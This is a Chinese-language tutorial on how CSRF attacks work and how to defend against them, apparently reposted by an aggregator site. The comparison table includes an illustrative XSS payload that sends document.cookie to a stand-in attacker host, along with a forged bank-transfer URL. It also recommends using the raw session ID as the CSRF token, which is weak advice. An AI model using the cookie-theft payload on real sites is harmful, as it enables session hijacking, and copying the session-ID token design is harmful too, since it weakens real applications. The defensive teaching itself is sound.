目錄

什么是CSRF

CSRF與XSS的區別

CSRF是怎么攻擊的

攻擊原理

如何防范

1.驗證請求來源，通過請求頭的Referer或者Origin字段來判斷來源。

2.生成隨機的token，在請求的時候帶上，在服務端驗證token。

---

什么是CSRF

CSRF（Cross-site request forgery）跨站請求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利用。盡管聽起來像跨站腳本（XSS），但它與XSS非常不同，XSS利用站點內的信任用戶，而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對其進行防范的資源也相當稀少）和難以防范，所以被認為比XSS更具危險性。

上面這一段是來自百度百科的一段話，這里我們需要注意兩個點，一個是跨站，所謂的跨站，是指不是來自同一個站點的攻擊，并不是指跨域，即使你的站點沒有開啟跨域請求，依然有可能受到CSRF攻擊。另一個是偽造，說的正是CSRF的攻擊特點：偽造真實用戶請求，讓服務端認為是合理的請求，這正是我們要防范的地方。

通俗易懂：網站對用戶瀏覽器的信任

CSRF與XSS的區別

從漏洞存在的位置上（CSRF存在于所有請求-響應模式的功能上，XSS存在于將用戶輸入回顯前端web頁面的位置上），從攻擊效果上（CSRF主要是執行網站自身已有功能，XSS主要是用于獲取Cookie）都有區別。

但對于初學者最直接的還是利用角度。當時面試說的是CSRF是利用B網站攻擊A網站，XSS（反射型）是將A網站的Cookie發到B網站，這理解是沒錯的。這里再舉個例子更具象化地說明：

攻擊	攻擊鏈接示例	說明
CSRF	http://www.hack.com/csrf_page（頁面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“）	發送的是hack網站的頁面，目標是bank網站頁面
XSS	http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>'	發送的是bank網站的頁面，目標是hack網站頁面

CSRF是怎么攻擊的

這里舉一個例子：

1.用戶小明登錄了某銀行網站A。

2.小明向好友轉了1000塊錢，假設轉錢的請求是：http://xxx.com/transfer?money=1000&to=123456 其中money為金錢數額，to為要轉向的人的賬戶id，這里是小明好友的賬戶id。

3.小明在保持銀行賬戶還在登錄狀態的情況下，打開了惡意網站B（具體為什么打開，可能網站B有一些比較吸引人的地方...）。

4.網站B在被訪問的時候，頁面腳本立即發送一個預先設置好的請求：http://xxx.com/transfer?money=1000&to=654321 這時就會用小明身份向賬戶654321轉1000塊錢，小明莫名其妙就少了1000塊錢。

攻擊原理

cookie是罪魁禍首，我們知道cookie保存在瀏覽器的時候，只有本網站可以訪問到，第三發網站不訪問不了的，我們也沒有辦法訪問其他網站的cookie的，這在一定程度上保證了cookie的安全性。

我們在瀏覽器上發送HTTP請求的時候，瀏覽器會把該域名下的cookie帶上，一并發送到服務器。那么問題就來了，瀏覽器并不管當前發送請求的是哪個網站，是在哪個頁面上發送的請求，只要你請求的域名在瀏覽器里保存有cookie信息，瀏覽器都會一并給你帶上。

下面我們來看看，瀏覽器是怎么樣帶上cookie的，我們先登錄百度，然后在百度上搜索關鍵字“csrf”，看到瀏覽器發送了一個搜索相關的請求，并且帶上了cookie信息，如下圖。

這是請求到的結果數據：

接下里，我們把剛剛那個請求復制下來，然后我們在本地啟動一個服務，設置一個頁面，這個頁面在被訪問的時候，會發送剛剛我們復制下來的搜索“csrf”的請求，然后我們打開這個頁面，可以看到請求成功的發送了，并且還帶上了我們在百度搜索時候的一模一樣的cookie信息，返回的內容也一樣，如下圖：

我們再來看看小明的案例，下圖是小明案例的整個CSRF攻擊的過程：

攻擊的條件有兩個：

1.小明處于登錄狀態

2.小明訪問了惡意網站B

小明在登錄了銀行網站A之后，網站A會在瀏覽器寫入cookie信息，以后的每次請求，都會帶上這些cookie信息，來證明小明的身份。瀏覽器第一次發送的轉賬請求是小明親自操作的，是合法的行為，而第二次發送的轉賬請求，是惡意網站發送的，是非法的行為，但服務器一直都認為是小明本人操作的，只是轉賬的對象不一樣，都認為是合法行為，所以兩次轉賬都成功了。

如何防范

知道了csef的攻擊原理后，就可以做防范措施了。防范的原理很簡單，只要不單單驗證cookie信息來確認身份和合法性就可以防范了。目前的防范思路主要有兩種:

1.驗證請求來源，通過請求頭的Referer或者Origin字段來判斷來源。

Referer標識當前請求的來源頁面，瀏覽器訪問時除了自動帶上Cookie還會自動帶上Referer，所以服務端可以檢測Referer頭是否本網站頁面來決定是否響應請求。

Referer是瀏覽器自動帶上的，基于認為瀏覽器沒有相關漏洞的前提下，我們可以認為攻擊者是沒法偽造Referer頭的，也就是檢測Referer頭的方法是可靠的。

但該方式有時會不受認可，一是因為瀏覽器是可以設置禁止發送Referer頭的，如果使用該方式那么禁止Referer頭的瀏覽將無法正常使用，這可能會降低用戶使用體驗。二是因為由于移動端的崛起當下流行前后端分離app和web共用一套后端代碼，但app是不會自動帶Referer頭的，如果使用該方式app端不好處理。

2.生成隨機的token，在請求的時候帶上，在服務端驗證token。

token就是服務端返回給客戶端類似sessionid那樣一長串的類值（長是為了防暴力猜解）。csrf依賴于瀏覽器該問鏈接時自動對應網站的cookie帶上，token不放cookie（一般form表單加個hidden屬性的input標簽來存放）csrf就沒法獲取token，這樣我們就可以通過檢測發送過來的數據包中是否有正確的token值來決定是否響應請求。

在講清token防御的原理后，我們再來講token的設計，因為token方式給人的感覺很復雜令人望而生畏。

我們首先明確一個問題，就是能夠防止csrf攻擊的token，并不需要每次請求都不一樣，在用戶登錄后到退出前的這整個過程中的所有請求token完全可以是一樣。因為（在基于沒有其他漏洞會泄漏本次會話的token的設想下）黑客是無法獲取用戶的tokne，所以又何必每個請求都要生成一個新的token呢。（token每次請求都要不一樣的想法是受防重放攻擊的影響）只考濾防csrf不考濾防重放的情況下，token設計就簡單多了。

使用sessionid作為token設計：在csrf中cookie是瀏覽器自己帶上的，本質而言用戶的sessionid并未丟失（也就是攻擊者并不能知道sessionid是多少），基于此我們完全可以不用另傳一個值只需直接將sessionid作為token即可（或者也可以做些運算比如取sessionid的某些值做個md5來做為token，意思都差不多）。判斷代碼類似 if session["id"] == $_POST["token"]

與sessionid同時返回的token設計：在生成sessionid的同時生成一個token（服務端token可以存于session變量中）返回給客戶端，客戶端保存該token每次請求時都在form表單中提交該值。判斷代碼類似if session["token"] == $_POST["token"]

總結

以上是生活随笔為你收集整理的CSRF攻击原理与防御方法的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。